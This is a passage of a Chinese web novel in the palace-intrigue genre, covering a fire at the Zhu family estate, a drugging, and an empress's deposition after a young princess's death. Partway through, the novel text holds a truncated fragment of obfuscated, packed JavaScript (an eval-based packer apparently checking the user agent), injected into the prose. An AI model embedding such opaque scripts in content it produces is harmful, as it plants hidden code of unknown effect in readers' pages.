“我们只要能把火还给朱太夫人就成。”班蕴堂宽慰。 “昌隆侯也糊涂的,居然能纵容老娘放火来想给我们点教训。”薛述聪好笑:“这火烧起来还能是他想控制就能控制得,我们还有两千铁骑在城外呢,他当摆设啊。” 薛述嘉还是担忧:“朱家大宅可有六百亩,烧掉个一百亩都没事,只要昌隆侯看住我们不让我们跟霍海啸和原牧烈碰面,他们率军队过来也没辙吧。” 班蕴堂微怔,豁然意识到昌隆侯想给他们的教训不是放把火吓唬他们,而是想让他们明白不管他们怎样折腾都休想在他放人前离开。 薛述聪心宽:“说到朱家这座大宅,他有种怎么不围个一千亩。” 晏霁之貌若正经:“他的别院都不小于八百亩,这座府邸,他还是顾忌了的。” “他最大的别院都超过六千亩了。”薛述聪没好气,京中的住宅都没超五百亩的,别院可以大些但也不得超一千亩,昌隆侯倒好,这样纵着还能不把他的心喂大吗? “火烧起来,没两三刻钟肯定没人来救火,我们怎么抵御?”薛述嘉探讨。 “待小院的院墙烧塌了,走出去。”晏霁之给方案,薛述嘉滞怠下不可思议地看向他,是好像挑不出错来又难以置信能这么简单:“就,就这样?” 薛述聪凉凉问:“你还想怎样?” “……”薛述嘉忍不住提醒:“大哥,老太婆可是想烧死我们。” “要不然怎么说昌隆侯糊涂呢。”薛述聪无语:“这小院好歹有五亩多,我们在空地上,这些屋瓦墙垣全烧成灰都烧不到我们,墙烧塌了,不就走出去嘛。” 薛述嘉想捂脸,谷王也想捂脸。 “我们怎么跟霍海啸和原牧烈碰头呀?”薛述嘉再喝杯酒期待下。 “趁火?”薛述聪提示,薛述嘉愣下有点小心翼翼:“打劫?” 薛述聪打个响指:“若是朱家走水后,闯进来几百个匪徒想来趁火打劫?” “哈哈哈……”薛述嘉乐不可支:“当然要带兵来剿匪呀。” “他们什么时候放火呀?”薛述嘉陡然一身轻,白瞎他忧虑几个时辰。 “还有小半个时辰吧。”薛述聪预计,薛述嘉嘚瑟:“他们还磨叽什么,早些把火放了,大家都省心嘛,要不然这小半个时辰我们就等在这里喂飞蚊吗?” 薛述聪讶异:“这院里有飞蚊啊?” “有啊,前几天都有的,你还没碰到而已。”薛述嘉舀勺荔枝奶酪吃。 “今夜没有了。”晏霁之知会,薛述嘉随口问:“为什么?” 晏霁之答:“因为我在。” 薛述嘉仿佛看见个神棍:“你要笑死我是吧。” 晏霁之看向薛述聪,薛述聪推把倒霉弟弟的脑门:“你要笑死我们是吧,不知道晏霁之有多讲究啊,不知道有驱虫香包啊,晏霁之能忍得了被蚊虫叮咬吗,这小院里要还有蚊虫,晏霁之不早就杀到朱芑适面前把他拎过来清理了。” 薛述嘉郁闷地吃荔枝,班蕴堂失笑:“这果子都去核了也得谢霁之兄吧。” 晏霁之默认道:“朱家是不讲究,富贵五十年了,还连个小院都清理不干净。” “用萧耿裕的话,穷儿暴富,没底蕴呗。”薛述聪这语气,没觉得朱家如何,贬意全是冲着萧耿裕,晏霁之笑:“在他面前,咱们都是没底蕴吧。” “抱着他的底蕴也没见他在我朝煊赫呀。”薛述聪讽刺:“家族源远流长就一定好?哪个皇帝能喜欢传承五六百年乃至千八百年的老牌世家,我外祖父生前、包括圣人,对咸敬是挺宠爱的,表面是风光啊,实利呢,萧岘手中有多少权柄? 不是富贵闲人,谁能有闲情陪妻儿游山玩水,不要说我们的家长了,我们这辈,霍雄鹰都没这种空暇。谁看不懂,萧家,全靠萧岐拼出来了,不然这七百年的底蕴早走下坡路了,等将来萧耿烨当族长,萧耿裕他们几兄弟还能悠哉得起来?” 薛述聪冷嗤:“连自家什么状况都看不清楚呢。” “你这不是拐着弯骂昌隆侯眼神不好嘛。”晏霁之打趣,薛述聪微愣,被晏霁之这一说才意识到:“还真是,这庶子盯上萧灼灼,他竟然就也同意了。” 薛述嘉不解:“他同意有何不对,大家门当户对,霍舒窈都嫁到萧家去了。” “霍家和萧家结亲自是没什么不妥,但是昌隆侯或者你薛家就不适宜。”晏霁之解释:“像我家或者霍家都已煊赫过,家族最大的愿景已不是再上一层楼而是全身而退,但不论是你爹还是昌隆侯,你们是还要再登高的,那么和萧岘做亲家就不合适。” “何况霍舒窈嫁的是萧耿烨,是萧岐这一支,是亲兄弟,到底也分家了。”薛述聪补充:“若是让霍家选萧岘家,你看霍家能愿意吗?能愿意就出奇了。” 薛述嘉叹惜:“唉,我都没觉得,宜春家比咱们原来已经差上一截了。” 班蕴堂笑着打圆场:“其实,女子若能嫁入宜春县主家,是真是个上上之选。” 晏霁之不看好:“父母恩爱才没有纳妾,儿子们怕是不见得。” 班蕴堂微怔:“不至于吧?” 薛述嘉附和:“是啊,不至于吧?” 薛述聪表态:“单就萧耿裕而言,我看他过几年是真没准儿。” 某弟弟狐疑:“大哥,你是不是晌午跟他吵架了,对他有偏见啊?” “我犯得着吗?”薛述聪真想再推把倒霉弟弟的脑门:“他像是个专情的吗?” “他爹年轻时看着像能专情吗?”薛述嘉暗暗反抗:“总不能以貌取人。” 薛述聪动动脖颈想训弟,晏霁之率先道:“昌隆侯何以会放任我们清醒着?” “他又防不住。”薛述嘉瞟瞟晏霁之,没猜出他的意图:“他肯定清楚啊,我们对他必定诸多防备,茶水吃食用银针试过,还不放心让护卫试,若是非要较劲,大家撕破脸,我们给他找麻烦对他更没好处,他不放任我们清醒着还能如何?” 薛述嘉强调:“我们现在是瓮中鳖也只是走不出朱家,又不是砧板上的鱼肉。” 晏霁之遂问:“若今夜是萧耿裕想对付我们,他能有昌隆侯的领悟吗?” 呃?薛述嘉不自觉卡住了,班蕴堂断言:“不会。” 谷王和薛家兄弟看向他,班蕴堂道:“我相信我的猜测没错,萧家此行是冲着霁之兄,萧耿裕会自觉哪怕朱家用心险恶都能来个黄雀在后,但晏霁之难道是布偶泥人还能由他摆布吗?” 班蕴堂蹙起眉头,隐有丝忍耐:“萧耿裕当前,太自得了。” 薛述聪蔑笑:“包括他爹吧,不然能被儿子牵着走,还不是父母都认同。” “就按晏霁之的假设,我们落在他手里,他再自得也不至于觉得我们不能反击只能任他拿捏吧?”虽然薛述嘉也有点底气不足,薛述聪就问:“正常的家长能陪宜春来朱家,打着游山玩水的旗号就没人懂了?什么人家还会去沾这种姻亲,你愿意?” “当然不行。”薛述嘉脱口而出,晏霁之循循道:“蕴堂兄,你看来,女子嫁入萧岘家是上上之选,会有多少人家和你想法一样,萧岘自家又会是什么样的想法?” 班蕴堂心里咯噔声看向他,薛述聪被逗笑了,薛述嘉差点尖叫:“你是说,外人都觉得能嫁到他们家是上上之选,何况他们自家呢,他们很可能想能嫁到他们家做媳妇是荣幸,对媳妇是高高在上的嘴脸?做他们家的媳妇实则很糟心?” 晏霁之感受着风似乎大了些:“我猜测,是。” 谷王叹息,薛述聪把话题绕回:“萧耿裕过几年会纳妾吗?” 薛述嘉摆摆手:“这还用说嘛。” “你变卦得真快。”薛述聪褒奖,薛述嘉不以为然:“啊呀,大哥,宜春还能嫁得好吗?就算他们没有被朱家算计到,宜春也没好日子过了,那娘家还能好过吗?舒坦时是随意啊,可若过得不舒坦,那不就得和媳妇吵架,这不就要纳妾了吗?” 薛述聪看着老弟神情有点莫测:“你这话说的,萧岘都没准儿了。” 薛述嘉:“呃……” 晏霁之饮杯酒,若有所思。 “咱们还是再知会萧家一声吧,若我们今夜走出朱家,今夜通知他们,否则,明早派人请他们即刻离去。”班蕴堂规劝:“萧家不肯走,我们也仁至义尽了。” 薛述嘉看向大哥,薛述聪嗯声。 晏霁之剖析:“你们看,朱家若败,败于谁?” 薛述聪想都没想:“昌隆侯啊。” “是刚谈到萧岘一家给我的感触,萧家重名声,名声就能把萧家击倒,可萧灼灼这事,放霍家试试?”晏霁之影射:“人太注重什么,往往就会变成弱点。” “我赞同!”薛述嘉振奋道:“虽然我家还有霍家风评都很差,但我们坏也坏得磊落啊,比起那些沽名钓誉的伪君子根本就强多了,就像佟振羽兄妹两个被逐出霍家,霍家是没少被诟病狠辣无情,但霍家敢做啊不想要了就懒得虚与委蛇,几家敢?” “摊上对狼心狗肺的小辈,几家不是选择教不好就暗中弄死。”薛述嘉撇撇嘴不屑鄙夷:“连坦荡都做不到还美其名曰为家族,根本就是虚伪。” 薛述聪看眼弟弟,问晏霁之:“你的意思,朱家败于昌隆侯他爹?” “我倾向于,先昌隆侯的原配和嫡长子都是朱存焳害死的,先昌隆侯不可能没感知。”晏霁之提醒道:“他生前查证后若是将朱存焳法办,朱家或许得不到后来的泼天荣宠乃至于只能做富贵闲人,但至少不会在朱存焳手中走入绝境。” “其实也怪不得他。”薛述聪理解:“最有能力的儿子害死了嫡长子,这嫡长子都死了,难道再亲手弄死个儿子还是最有能力的儿子?当然是默认,把爵位和家业传下去,九成九、甚至十成十的当家人都会选择维护,他这做法没毛病。” “你还是说九成九吧。”晏霁之建议:“毕竟你也是个嫡长子。” 班蕴堂忍笑,薛述嘉默默低头,薛述聪扎心下,略过道:“那什么,哦对,佟振羽兄妹去找嬴天漾了?”这离谱的,薛述聪神奇:“还是昌隆侯主导的,搞什么啊?” 晏霁之俊颜淡漠:“他觉得他们兄妹能有点用处吧。” “你评价得还是不错的,昌隆侯的眼神不好。”薛述聪看眼谷王小舅,晏霁之损话传来:“难怪能做翟猛的姐夫。”他莫名一噎,薛述嘉又想捂捂脸,说昌隆侯糊涂还真没少糊涂,这都是在帮霍家送走两个麻烦了,而且想法天真得让人啼笑皆非。 薛述聪手抵唇轻咳:“佟家的消息,你收到了吧?” 晏霁之答:“你不必这么含蓄。” 薛述聪叹气:“佟振羽还能有命活吗?” 谷王和薛述嘉怔下,就没想过,晏霁之陈述:“皇帝的答案,中秋前吧。” “今年?”薛述嘉吃惊,晏霁之看他,薛述嘉干笑:“我、我我,大家毕竟从小认识,佟振羽被逐出霍家那到底也是……”唉,他就是感觉有点世事无常,他们这样的豪门大族都没有安全好像能一朝倾塌:“陛下真的不能留佟振羽一命吗?” “七月,佟家的判决出来,对佟振羽兄妹的处置名义上会是终身服苦役,实则皇帝会让他们兄妹死在中秋前,佟蓁蓁服苦役会遭遇什么可想而知,让她死在中秋前已是陛下仁慈。在佟梦姿娘仨妄想强抢后位欺辱皇帝时就注定了,皇帝不可能容他们活着。” 晏霁之垂眸,不悲不喜:“哪怕他们今天还是霍家人。” 谷王沉着片刻,想抹把脸,忍住了,也好吧,他女儿和小外孙都清净了。 一支支擦着火苗的箭矢划过夜空,房屋燃起来,小院外,火光蹿起,薛述嘉心有点澎湃地站起来,看他们都还坐着,奇怪:“你们都没反应吗?” 薛述聪喝杯酒,漫不经心:“你想怎么反应?” 薛述嘉无趣地坐下来,托着腮看朱家放火,还是有点哀怨:“为什么是我们来走这趟,若是几个没家底的,我觉得不会被为难,昌隆侯看不上才懒得动手。” “为了安抚他。”薛述聪告知,薛述嘉差点一个鲤鱼打滚:“什么?” “他毕竟损失不少嘛。”班蕴堂详细解说:“圣人恩宠朱家十几年了岂会一朝恩薄,把我们送来就是随我们较量,我们若能走脱,是昌隆侯技不如人,自认倒霉吧;我们若被扣住,随便昌隆侯跟我们家里要赎金,总归圣人和陛下不管。” 薛述嘉静默下,想抹把辛酸泪。 不多时,熊熊火焰烧起,朱府火光冲天,萧灼灼在她暂住的宅邸屋顶远远看见着火了,惊讶探首眺望:“这是哪里着火了呀,烧得那么旺?” 她身边陪她在屋顶看星星的人是朱窅絜。 半个时辰前,朱窅絜找来,想跟萧灼灼说说话,萧灼灼懂他心里不好受,柴家还剩的几人被抓、朱太夫人被打趴,昌隆侯都听之任之。这是萧家暂住的府邸,萧家带着百名护卫,朱窅絜孤身而来,萧灼灼同意了,萧耿裕和家长们也就放行了。 萧灼灼自然也没什么不放心的,朱窅絜想喝酒,她让厨房备酒菜。 他们在屋顶饮酒、数星星,追忆过往,仿若又回到初相识初相恋时的纯真。 话落,萧灼灼头有些晕乎乎,她晃晃脑袋,失去知觉,瘫倒下来。 朱窅絜伸出手臂揽住,嘴角一勾。 萧耿裕派人查看何处着火,得知是昌隆侯府,便知是薛述聪他们想放把火走人。 他禀告过爹娘,带十名护卫去瞧瞧热闹。 出门时风吹得他衣袂翩翩,行至半路,风渐大,萧耿裕勒住缰绳暂停,迎风笑,这风若是再大起来,朱家今夜真有好戏看了。 朱家大宅烈火蔓延,朱芑适慢悠悠走出寝屋,看见烧红的火光,怔愣下,见弟弟跑来,他莫名不安生怕今夜要超过掌控,让弟弟去请父亲,他去看薛驸马他们。 大火早已波及旁边的院落,火势如群山连绵,客人们避在安全地带欣赏壮观的火景。 朱芑适带家丁过来,薛述嘉在心里痛骂他,面上装腔:“我们在院里太无聊了,找到把斧头,我们就砍了院里的大树,搭在烧塌的残垣上,走出来了。” 他们住的客院里还真有把斧头,大哥告诉他,是眼线提前备下的。 薛述聪懒洋洋:“你赶紧派人救火吧,哎对了你爹呢,火都烧这么大了?” “据说柴姨娘今夜好不容易留住昌隆侯,用了点催情的。”薛述嘉那表情可谓传神了,薛述聪啧啧:“这柴姨娘都快五十岁了吧。”顺口就泼风凉话:“芑适,你可不能没有作为,要不然置你娘于何地,让你爹年轻的小妾们情何以堪。” “你们没事就好。”朱芑适挤出笑意,转过身拉下脸就走,没走几步,小厮疾跑来报:太夫人带着奴婢在侯夫人的院里浇铜油要烧死侯夫人。 朱芑适头疼,媳妇还跟他说呢,老太太囤上百桶铜油怕不是真正是想对付他娘吧,一有不痛快就给他娘放把火?赶过去见火已经烧起来,忍着头疼指派人救火。 翟丽已经转移去长媳的院里,朱太夫人在孙媳的屋里照样发飙。 朱芑适赶来,告知祖母是薛驸马他们放的火,朱太夫人充耳不闻,昌隆侯进门,老太太一见儿子,气焰立即收起,伤心地哭起来,翟丽看她不去唱戏真是埋没人才。 半个时辰前老太太刚睡下,寝屋就着火,她被困在火里差点没命,她还没对翟丽放火呢自己就先差点被烧了,哪能忍?!不是翟丽做的都必须算在翟丽头上。 跟来的柴姨娘见状忙陪着姑母哭。 “行了,是那群大少爷给你的回礼,礼尚往来嘛。”昌隆侯说,朱太夫人一噎,昌隆侯就让下人把老太太和柴姨娘扶走,再问长子:“火势还没控制住?” 朱芑适略沉闷:“是,府里铜油太多了。” 昌隆侯也无所谓:“那就送那几位大少爷撤离吧。” 朱芑适保证:“父亲放心。” 昌隆侯嗯声,刚要出门,朱六少爷在屋外喊:“爹娘,大哥——” 三人赶去屋外,看见狂风大作,昌隆侯父子神情微变,翟丽也变了变脸,一个多时辰前就起风了,当时风很小只当夏夜送凉,若是今夜这场风要越刮越大? 昌隆侯当机立断去书房,让世子也去自己的书房,朱六少爷跟着爹爹走。 狂风怒号,无形的重压阻扰着人前行。 昌隆侯赶到书房前,下人们和死士都在救火了,蹿高的火焰像饕鬄一般吞噬着书房和周边的屋宇,人根本冲不进去。 城中百姓深夜好眠时,朱府火海汪洋。 府衙的人们急奔着冲来,萧耿裕他爹萧岘也赶过去了。 霍海啸和原牧烈率一千军队进城,和臧芣缄遇上,一起去朱家。 在朱府里面的人已全部撤到府外避难,没有死伤,朱芑适颓唐地低头抹把脸,他身后,照亮夜空的百亩火海在肆虐扫荡,昌隆侯盯着老娘几乎想把她活吞了,老太太怯弱弱缩着,柴姨娘欲哭无泪,朱家的少奶奶和姨娘们也都快气炸了。 就因老太太非要放火,整个府邸都烧起来了,她们的积蓄也要被烧没了。 萧耿裕看得也都想同情昌隆侯了,没有狂风作孽,火势控制不住,他也能有条不紊撤离而不是像现在这么狼狈,书房的机密要件也被付之一炬,是有点惨。 谷王和小辈们眼观鼻鼻观心,薛述嘉快憋不住笑了,班蕴堂冒出个念头,没有这狂风襄助,朱府仍然会陷进火海里吧?烧掉六百亩的大宅,昌隆侯没想过,他和薛述聪也没想过,但晏霁之?就是第一计划,烧不掉朱府才会派匪徒吧? 所以今夜朱家没有匪徒闯入,昌隆侯防备错方向了。 甚至于,朱太夫人会想放火烧死他们怕都是晏霁之送过去的吧?班蕴堂想,昌隆侯有这么个老娘,不多用几遍是对不住人家。 班蕴堂压压笑,走向萧岘父子,他们即刻就会出城,请萧家一同撤走吧,带回答复:萧家等天亮后走。 晏霁之向霍海啸要笔墨,他要写信,而且是二十封信。 笔墨和长桌备来,晏霁之挥洒墨宝,每封信就一个字,疲,霍海啸问你这是想送给谁,晏霁之答霍贵妃,霍海啸想揍他,薛述聪呵呵:“你这是撒娇啊你?” 晏霁之惊讶看他,薛述聪反训:“不要用这种看知己的眼光看我,写你的信吧。” 还有闲情的人瞬间惊了惊。 晏霁之刚低头又抬起头看他,薛述聪有读心术一般:“我不写信。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“仵作检查,是被活活饿死的,还真被佟梦如给言中了。”霍舒窈进宫来看贵妃,还和乐邑撞上了,乐邑神情低陷,霍舒窈个孕妇在这样的酷暑天都比她精神多了:“都是尸臭飘出来,街坊邻居进去察看发现的,佟梦姿还真做得出来呀。” 霍灵渠唏嘘:“真是佟梦姿?” “当然。”霍舒窈给妹子数道:“佟老头的两个妾室扒着佟梦从的媳妇和佟梦佶的媳妇搬走了,那佟大太太都住到女婿家里去了,连佟梦奭的妾室和庶出都硬跟着去投奔佟妙兮了,就佟梦姿还住在那院子里,而且她是一个人住,连个奴婢都没有。” “才两个多月。”霍灵渠摇头,霍舒窈讥诮:“才两天,说不定她都能做得出来,她有多在意佟家多孝顺亲爹亲娘呀还不是得要她自己享尽荣华富贵才有闲情。” 霍灵渠低眸未语,霍舒窈气定神闲:“还有钟姨娘,她怂恿晏明潜想把他们商量的赖个钟氏女给晏霁之的事闹出来,不成功也要让晏霁之惹身骚,晏明潜还真答应了。 他们见不得佟梦娴,只能靠佟老太太,晏明潜找过去时赶上官府逮捕佟梦姿,英王知道后特别利索地让晏煦之去刑部借套刑具给钟姨娘用拶刑。” 乐邑有点讶异:“这钟姨娘不是怀着身孕吗?” 霍舒窈不以为然:“夹手指又不影响她的胎。” 乐邑撇撇嘴:“英王是有多厌恶这个钟姨娘啊。” 霍灵渠紧握瓷盅,指尖泛白,她也觉得厌恶,第一次对钟姨娘生出厌恶。 乐邑佯装随意:“哎对了,下个月朝廷要削减四千名官吏,你们听说了吧?” 霍舒窈道:“前几天就传出风声来了。” 乐邑想白她眼:“我是要说,前几天不是有奏本参楚昭仪她爹么,皇兄派钦差下去了,这么个档口,楚家怕是怎么也逃不过要伤筋动骨了吧?” 霍舒窈未置可否:“这罢黜的名单上有戚家人,你母妃逼你了是吧?” 被戳破的乐邑长公主垂眸沉寂,霍舒窈猜都知道她什么事:“想让贵妃帮你说情,置你夫家于何地,但显国公若能做主早给你把戚家人划掉了,还用得着你烦吗?” “我知道!”乐邑烦糟,霍灵渠缓和点提议:“要不然,纤若你带小妹去太微宫住几天,戚太妃逼不着你,不就不用为难了。” “啊?”乐邑错愕:“这、这也太,可我,我就这么不管戚家了?” “你怎么管,你管得了吗?”霍舒窈警醒:“谁还不知道你生母姓戚呀,你拎清楚,你父皇和皇兄若是烦了你,你首当其冲的就是你在薛家都别想好过了,戚太妃会管吗,她是会想给你出头还是只管你每年给她的大把孝敬不能少了?” 乐邑长公主黯然低头。 霍舒窈刚曾言,佟大太太都住到女婿家里去了,有几个女婿会欢迎这么没分寸的岳母?房祯毅亦然,佟家的藏污纳垢不断翻出来,他娘嘲讽佟妙兮还能出污泥而不染,他虽反驳了但也确实有些意兴阑珊了,他娘让他赶紧休妻,他也没多少抗拒。 休妻? 这两个字在晏明潜家中也冒了尖,钟姨娘受罪后哭闹着要抓奸细,若非有人告密,英王如何能知晓?她揪着裴氏指桑骂槐,晏明潜不知什么想法竟还真训斥了裴氏,晏明妧更是,毫不含糊的警告裴氏,不要以为她吃里扒外,她弟弟不会休掉她。 裴氏冷笑,窝囊得没处发泄,逮着什么都要来耍耍威风,两个废物! 升平大长公主坐佛龛前,诸事不过心,只牵挂在外漂泊的幼子。 太微宫中,国师诲仰道长请示,想在大暑日给霍灵渠验身份。 太上皇沉默半响,说:暂且放一放吧。 郭太太进皇宫看女儿,郭皇后最近真不舒服,贵妃不肯给她放冰,她就得用两个儿女的冰盆份例,那点冰还不够她独自用,小孩也不怕热,让他们去找父皇多要些冰来还不愿意,这不是要难受死她,这大热天才那么点冰还要娘仨一起用可怎么过呀。 母亲来跟她说个妙计,郭皇后一想就同意了。 第二天,郭皇后派宫女以霍贵妃的名义给钟萃宫送两盘荔枝。 宫女把荔枝送到御前,霍雄鹰真是要被蠢够了,皇帝让宫人检查,银针变黑了。 皇帝率领禁军大张旗鼓去找郭皇后对峙,几针扎下去,郭皇后把她娘卖了,皇帝嬴忱璧对外说辞乃建威侯给皇后献的计策,责令建威侯停职、入大理寺受审。 圣旨降到江南,任命柳大人统管动迁民众入塞北诸事宜。 炙热的脚步迈过大暑,清早,孟怋乂在花园给笼中的鸟儿喂食,孟先生三十四岁,刀削似的面庞,五官凌厉,他常含笑意,生生压住锋锐让他反像儒雅之人,一风韵犹存的成熟~妇人递上飞鸽传书,哼笑道:“这英王世子总算还有那么点雕虫小技。” 一个巴掌甩下,妇人怔住,头顶警告传来:“他不是你能置喙的。” 妇人再低低头应是。 谷王和三个小辈马不停蹄赶路数日,找客栈休息一天,晏霁之没在,他还要去确定最后批迁入塞北的名单,霍海啸和原牧烈也还有要事,出城当夜大家就各自别过了。 萧家没保住萧灼灼的消息送来,薛述聪一惊:“不至于吧?” 薛述嘉凑过去:“什么事啊,大哥?”他拿过信笺一看,惊诧了:“宜春折进去了,这都能折进去?” 再仔细看遍,薛述嘉无语凝噎:“她这就是想做朱家妇吧。” 谷王和班蕴堂把信笺接过来看,班蕴堂皱眉:“萧家没有拒绝朱家的亲事?” “这不是也没答应。”谷王叹气。 “当然不能答应,这么轻易答应,他家也不必要脸了。”薛述嘉讥讽:“不拒绝何意啊,不就是要让朱家多献献殷勤好给他们把脸撑住,还真是咱们多事惹人厌。” 薛述聪手拍在桌上:“宜春和她这情郎的过往要翻出来了。” 谷王再叹气,班蕴堂也没什么同情。 晏霁之落定最后一批迁入塞北的名单,去处理他在广南的生意。 师兄笨拙地挠头打着算盘,一束光打进来,惊现师弟的身影,扑向师弟几乎要哭出来,晏霁之:“我还活着。”师兄身体僵下,哼哼唧唧去拿账本。 一听师弟要收拢生意,师兄来精神了,晏霁之:“你这么盼着我倒闭啊。” 师兄尴尬下,干脆也不装了,他容易嘛他。 隔天,英王府的箱笼送到广南,晏霁之心微微涩,他晓得,这是霍灵渠嘱咐的。 皇帝也收到信了,二十封信摆在面前,嬴忱璧脸黑了,个混球! 入夜去关雎宫,待贵妃一一拆信看过,皇帝就要把信收走,对上要阻拦的贵妃,嬴忱璧好声劝:“贵妃莫胡闹,你留着外臣的信成何体统,既已阅过就该抛诸脑后。” 霍灵渠强调:“这是给我的信,我的!” 嬴忱璧显示点不悦训诫:“贵妃还连这点分寸都不懂吗?” 霍灵渠语气很凶:“什么分寸,这都过过你的眼了,给我的信当然是我收着。” 霍擎进殿,有事禀告陛下,嬴忱璧让老国丈先把信收来,霍擎笑道:“陛下,老臣所要禀奏正是这二十封信,这个疲字,这是晏霁之写来禀呈圣人和陛下的。” “老国丈这是何意?”皇帝还没懂。 “陛下您看,这个疲字是不是更应该是令昌隆侯疲于奔命的疲?”霍擎笑得满眼褶子:“既然昌隆侯的书房被烧了个干净,总不能让它白烧啊。” 嬴忱璧豁然涌起惊喜感:“老国丈的意思?” “晏霁之给迁往塞北的二十余万民众争取到了安稳撤出长江以南的时间。”霍擎感怀。 嬴忱璧也顾不得和贵妃争论了,带着老穆国公就走。 霍灵渠抱起封她的信,抿抿唇,还是觉得这是给她的信。 当夜,皇极宫灯火通明,班丞相被推举去太微宫禀奏后,霍秦川他们全被传去太微宫,霍秦川感觉好悲催,早知道他就等明早再通知他们了。 京中忙得不可开交,晏霁之出南海,观海景。 霍海啸和原牧烈、原牧炽来跟他会合,原牧炽凑近他,有点吞吞吐吐:“你那个,那个给昌隆侯的礼?” 晏霁之看向他,原小将军都干笑:“没什么,没什么。” 这小岛大概二百亩,霍海啸转过圈,赞道:“海岛风光,确实不错。” 晏霁之询问:“你们的差事怎么样?” 原牧炽比三根手指:“走了三万多,还有二万多人没走。” “皇帝要废后了?”原牧烈随后走近来,霍海啸回复:“明天早朝。” “唉。”原牧炽没啥感触,就想叹口气吧。 晏霁之抬眸望向前方,碧海蓝天,无边无际。 153. 第153章 巍巍太极殿,世间仰望,一望而威重,再望伏拜。 七月的第一天,早朝,最主要议题:废后。 太上皇同在。 郭皇后闻讯赶来要进太极殿被把守的禁军挡住,郭氏让他们退下,禁军们反告诫皇后,没有圣人和陛下允准,纵使是皇后也没资格随意进太极殿,郭氏正比爆竹还容易着呢,当即怒训这群禁军,闹得太难看时步昂统领奉命来请皇后。 郭氏疾步冲到御阶前,正徽帝看见她,面色淡淡问:“你来有什么事吗?” 好多人心底默念:这叫什么话呀。 郭氏冷不防害怕:“我,臣,臣妾,”她握拳头:“陛下你,你不可以废我。” 众人有丝诡异地注视郭皇后,正徽帝问:“为什么?” “因为,因为,”郭氏克住恐慌带来的磕绊喊:“因为我是皇后!” 还以为她要曝出什么隐秘的看官们:“……” 霍雄鹰被醉醉得够了,正徽帝貌似也能打个商量:“皇后若不想被废,不是不可以,朕给你个选择吧,要么朕今天废后,要么,朕今日将大皇子过继出去。” “过,过继?”郭氏直觉反对:“皇儿怎么能过继出去?” “那就你被废吧。”嬴忱璧定道,郭氏脱口否决:“不行。” 皇帝懒得再理会:“大理寺拟旨吧,写一封漂亮一点的废后诏书。” 大理寺卿踏上御阶,郭氏还在冲着皇帝反对,看见大理寺的老头真要写诏书了,疯狂让他停下来,大家就看郭皇后嚷嚷着‘我是皇后,不准写,不然本宫诛你九族杀你全家……’ 叫嚣不及还要冲上御阶撒泼,比市井泼妇还要粗鄙。 平原大长公主带着乐邑赶来,显国公给她们指指,可这样的场合,平原还是怕了怕,看向皇帝,嬴忱璧招招手,平原才带乐邑冲上御阶,对着郭氏就是一巴掌。 太极殿瞬间安静一息时间,霍秦川瞄显国公被瞪回去,正徽帝嬴忱璧滞怠下默默略过,乐邑扯扯婆婆,平原反训:“没看见你皇兄刚才的手势吗?” 她皇兄是这个意思吗?乐邑再看眼婆母,这婆婆不是故意曲解的吧? 平原大长公主还真没有故意,她以为就是这个意思。 嬴忱璧顺势发怒,眉间嫌恶爆破:“拖下去,她再发疯,姑母和皇妹就看着办!” 乐邑抓住郭氏往外拖去,被打懵的郭皇后一个激灵,急忙喊:“慢,慢,慢慢慢,不是,不行,不行,我选过继,把皇儿过继出去吧!” 太极殿再凝住般安静下来,公主婆媳俩手僵住,总觉得不可能不至于的大臣们傻了般盯着郭皇后几乎想问她:你知不知道你今天不被废再过半年也要辞位了? 曾是大皇子老师的祖博士心中癫笑,又狠狠唾弃,该! 皇帝嬴忱璧龙颜铁青,太上皇一样脸色难看,皇帝沉声道:“好,你回吧。” 郭皇后耳垂发烫脸发红,心底涌起害怕,没再闹什么就告退。 太极殿前,郭太太见到女儿出来,忙带二公主迎上去,刚问句情况就被禁军训斥:这里是你们交头接耳的地方吗? 郭太太恨恨咬牙,拉女儿走远了再问没事吧? 郭皇后耷拉着肩膀什么都不想说,郭太太看皇后被打肿的脸颊,给赖嬷嬷个眼色,赖嬷嬷母女俩奋力掐二公主,小女娃哭起来,越哭,她们掐地越用力。 郭太太狠狠冷笑,让皇帝好好听听女儿的哭声! 三岁半的二公主哇哇大哭着找母后,郭氏烦都烦死了:“哭什么哭啊!”她下意识甩开,小娃娃被推摔倒滚落下台阶,赖嬷嬷母女两个定住了,郭太太反应过来也定住了,二公主被推得直滚下去,这太极殿前的台阶可有八丈高啊:“皇、皇后?” 第一声还没有应答,郭太太心急跳大喊:“皇后?!” 郭氏想冲母亲发火就被拉着看去,她一时没反应过来,被告知往下滚的那个是二公主,她懵了懵脑子空白,慌忙喊:“快,快快快快去救公主啊。” 赖嬷嬷母女两个像有知觉般地回头,看见皇帝和太上皇带着大臣们都出来了,她们双腿打颤就发抖着跪下来了,两名禁军飞快俯冲下去,郭氏与她娘郭太太诚惶诚恐地转身,看见皇帝满脸阴沉,一大片人站在太极殿的门阙前好像泰山要压倒她们。 霍太后带着霍贵妃匆匆赶来时,二公主已经殁了。 都没等得及太医来救治,禁军俯冲下去时这三岁多的小娃娃已经撞着脑袋,鲜血大流,没能等到太医过来,也没等得及小娃娃跟她爹说一句话,就气绝了。 乐邑长公主抱着小侄女的遗体,郭氏四人跪着,嬴忱璧也没问话,就冷冷盯着她们似要把她们的心肝肺剖出来,太上皇劝:“皇帝,给孩子料理后事吧。” 七月初一的天格外阴沉。 嬴忱璧闭闭眼,下令:“刑部拟旨,建威侯之妻黄氏与侍婢蓄意谋害皇女,且建威侯日前教唆皇后妄图残害二皇子三皇子嫁祸贵妃,罪不容赦,建威侯夫妇赐死,建威侯府夺爵,郭家子弟在仕途者全部罢免,诛赖家满门,郭氏废除皇后位,贬为修仪。” 跪着的四人全懵了,郭太太没想过会死,赖嬷嬷母女更没想过,何况是被诛灭满门,郭皇后当然也没想过会被废,还没闹,禁军就把她们控制住拖下去了。 乐邑被她们这德行激愤地都想捅她们几刀,郭氏这个娘每每都要带个小女娃来恶心人,这回带着二公主,二公主都被她们害死了,好了吧,好了吧?! 大臣们也都清楚这谋杀亲女的罪名不能给郭修仪,太难看了。 怡华宫挂起白帆,郭修仪被绑了扔在寝殿里,皇帝对外说辞,郭修仪悲痛过度,昏厥。 